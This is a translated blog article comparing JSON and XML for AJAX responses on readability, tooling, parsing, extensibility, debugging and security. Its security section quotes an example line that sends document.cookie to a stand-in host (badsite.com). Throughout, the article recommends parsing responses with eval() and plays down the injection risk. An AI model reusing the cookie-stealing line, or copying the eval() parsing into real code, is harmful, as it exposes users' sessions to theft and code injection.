JSON and XML. What's better?

Original author: Subbu Allamaraju
  • Transfer
Note: Below is a translation of the JSON vs XML review article on JSON and its comparison with XML for a number of criteria. It is published in order to popularize JSON among readers of Habrahabr.

JSON (English JavaScript Object Notation) is a data exchange format that is easy to read by people, easily processed and generated by programs.

Based on a subset of the JavaScript language , Standard ECMA-262 3rd Edition - December 1999 .

JSON - Wikipedia

What is the correct response format forXMLHttpRequestin AJAX applications? For most markup-based applications, the answer will be simple - (X) HTML. For information-oriented applications, the choice will lie between XML and JSON. Until recently, I didn’t really wonder what is better to use, XML or JSON. I just assumed that in each case it’s worth choosing the most suitable format, and that’s it. But recently I happened to test this approach in practice. In this note, I will describe the criteria by which I made a comparison between XML and JSON, and my own conclusions.

So, the criteria are as follows.

  • Code readability.
  • Easy to create server side data object.
  • Ease of processing data on the client side.
  • Easy to expand.
  • Debugging and bug fixing.
  • Security.



Code Readability



Peter-Paul Koch at QuirksMode.org sees code readability as the main criterion for his analysis . In my opinion, it is only a secondary goal, but you can easily agree that JSON is much easier to read “by eye” than XML - just look at the following examples.

XML

SubbuAllamaraju


Json

   ({   
     "firstName": "Subbu",
     "lastName": "Allamaraju"
   });


But I bet that debugging and fixing bugs is far more important than readability.

Ease of creation



The XML format has been known for many years ( note: the first working version was announced in 1996 , and the specification was already in 2000 ), so there is a certain set of programming interfaces ( APIs ) for binding data to XML in several programming languages. For example, in Java, you can use JAXB and XmlBeans to create an XML response. Below is an example using JAXB.

   Person person = new Person ();
   person.setFirstName ("Subbu");
   person.setLastName ("Allamaraju");
   Marshaller marshaller = ... // Create a marshaller object
   marshaller.marshal (person, outputStream);


On the other hand, all the interfaces for creating a JSON response have appeared relatively recently. However, a pretty impressive list of them in various languages ​​has been published on JSON.org . The following is an example of creating a response using Json-lib .

   Person person = new Person ();
   person.setFirstName ("Subbu");
   person.setLastName ("Allamaraju");
   writer.write (JSONObject.fromObject (person) .toString ());


If we consider the functioning of such programming interfaces, then creating JSON is not much different from serializing Java beans into objects. However, it is worth noting that now much more methods are known for generating XML than JSON. Some of these programming interfaces for XML have been around for many years and for this reason can be more stable when used for complex applications.

Another aspect worth considering will be the amount of resources that are used to generate the response. If "heavy" operations are already performed when receiving data, then it will not be difficult for the server part to additionally convert them to XML for response. If the creation of XML is the most resource-intensive operation, it is better to use JSON.

Ease of use



On the client side, processing JSON data as a response to is XMLHttpRequestextremely simple.

   var person = eval (xhr.responseText);  
   alert (person.firstName);  


Using normal eval(), you can convert the response into a JavaScript object. Once this operation is completed, you can access the data using the properties of the transformed object. This is the most elegant part of all JSON.

Now consider XML. To make the code snippet below transparent, I removed all error checks.

   var xml = xhr.responseXML;
   var elements = xml.getElementsByTagName ("firstName");
   alert (elements [0] .firstChild.textContent);


Obviously, when processing data received from the server, you need to view the entire DOM tree. This is a very time-consuming operation, and it is prone to errors. Unfortunately, in the browser we have to deal specifically with the DOM. Browsers do not support a query language like XPath to retrieve tree nodes in an XML document. Support for these functions is already related to XSLT, but it is rather limited ( note: in the browser ) in terms of converting XML to markup (for example, in HTML). The Working Group on the program web-based interface ( the Web Working Group is the API ) from the W3C is working on an interface selectors ( Selectors the API ), which can be used to apply the CSS-selectors in the selection of nodes from the objectDocument. Using such an interface, it will be possible to convert the above code example to xml.match("person.firstName")to get the element firstName. Not to say that this is a great achievement for the XML document from this example, but it can be useful for working with highly branched documents. This interface has not yet been completed, and it will be another years before browsers will support it.

In general, if I choose between XML and JSON, I will prefer JSON because of the ease of client-side processing.

Extensibility



Extensibility helps reduce the number of relationships between the provider and the recipient of data. In the context of AJAX applications, the client-side script should be fairly invariant with respect to compatible data changes.

By all accounts , XML is automatically extensible simply because of the presence of the letter “X”. But this is not an unconditional rule (i.e., the default). XML extensibility is based on the principle that you can define additional nodes in your XML and then apply the “skip unnecessary” rule (that is, if you encounter an unfamiliar element or attribute when processing XML, just skip it).

To take full advantage of extensibility, you must create code on the client side with the expectation of this same extensibility. For example, the following example will fall apart if you want to insert, for example, an element middleName.

  var xml = xhr.responseXML; 
  var elements = xml.getElementsByTagName ("firstName");
  var firstNameEl = elements [0];
  var lastNameEl = firstNameEl.nextSibling;


If you insert an element immediately after the element , this example will misinterpret the middle name as the last name. To be invariant with respect to this change, it is necessary to rewrite the code in order to explicitly receive the element , or access nextSiblingit only if a descendant with the desired one is found tagName. Thus, XML is extensible as long as you write code, looking forward to future extensibility. Everything is extremely simple.

Back to JSON. I argue that extending JSON data is easier than XML. This undeniably requires less effort. Consider adding a property middleNameto a JSON response. In order to access it, you just need to call it.

   alert (person.middleName);


This code will not change if you add a middle name in your answer. But what if a person is treated with or without a middle name? With JSON, it's easy.

  if (person.middleName) {
    // Treatment
  }


My position is that, given the possible future extensibility, and XML, JSON data can be extended. But with JSON, expanding data is easier than with XML. You just need to check that the required property exists in the object and act in accordance with the result of the check.

There is another way to extend JSON data, it is to use function calls along with data declarations directly in the response.

  alert ("Hi - I'm a person");
  ({"firstName": "Subbu",
    "lastName": "Allamaraju"});


When data is declared through eval(), the browser will also call an expression alert(). In this case, you can both load data and perform functions. This approach should be used with great care, because it clogs up the answer with function calls and creates a connection between calls and data. Some sources also address the potential security vulnerability of this approach, more on this in more detail below.

Debugging and Bug Fixes



This aspect applies to both the server side of your application and the client side. On the server, you need to make sure that the data is correctly formed and correct. On the client side, it should be easy to debug errors in the response.

In the case of XML, it is relatively simple to verify that the data sent to the client is correctly formed and correct. You can use it schemafor your data, and apply it to verify the data. With JSON, this task becomes manual and requires checking that the object has the correct attributes as a result of the response.

On the client side, it is difficult to detect errors in both cases. For XML, the browser will simply not be able to convert it to responseXML. With small amounts of JSON data, you can use the FireBug extensionto debug and fix errors. But with large amounts of data, it becomes somewhat difficult to correlate the error message with a specific place in the code.

Security



Dave Johnson, in his JSON and The Golden Fleece article, argues that JSON can cause security problems. The essence of the note is that if you allow the insertion of function calls along with the data in the JSON responses and use eval()to process the response, then you execute arbitrary code, in fact, which may already contain a security risk.

  window.location = "http://badsite.com?" + document.cookie;
  person: { 
    "firstName": "Subbu",
    "lastName": "Allamaraju"
  }


If the answer in the example above is satisfied, this will cause the browser to send user cookies to a third-party site. But in this case, there is some misconception in determining the security threat. You should not trust data or code obtained from an unverified source. And secondly, we cannot use XMLHttpRequestto communicate with domains other than the source domain of the script. So, only the developers themselves when creating the application can initiate the sending of cookies to a third-party site. This is rather doubtful, because they could just as well place this malicious code anywhere in the document outside the data response transmitted from the server. Maybe I missed something, but I see no reason to consider JSON as unsafe compared to XML.

My choice



In the case of information-oriented applications, I would prefer to use JSON rather than XML, due to its simplicity and ease of processing data on the client side. XML may be indispensable on the server, but with JSON it is definitely easier to work on the client.

Related Links





Thanks to everyone who read this translation. I appreciate and respect your opinion and comments. I will try to take into account all the wishes and not remain in debt. If you have any suggestions on the subject of future translations, do not hesitate to write them - I will try to make a selection or a detailed review of materials on these topics. Thanks for attention.

Web Optimizator: checking the speed of loading sites

Also popular now: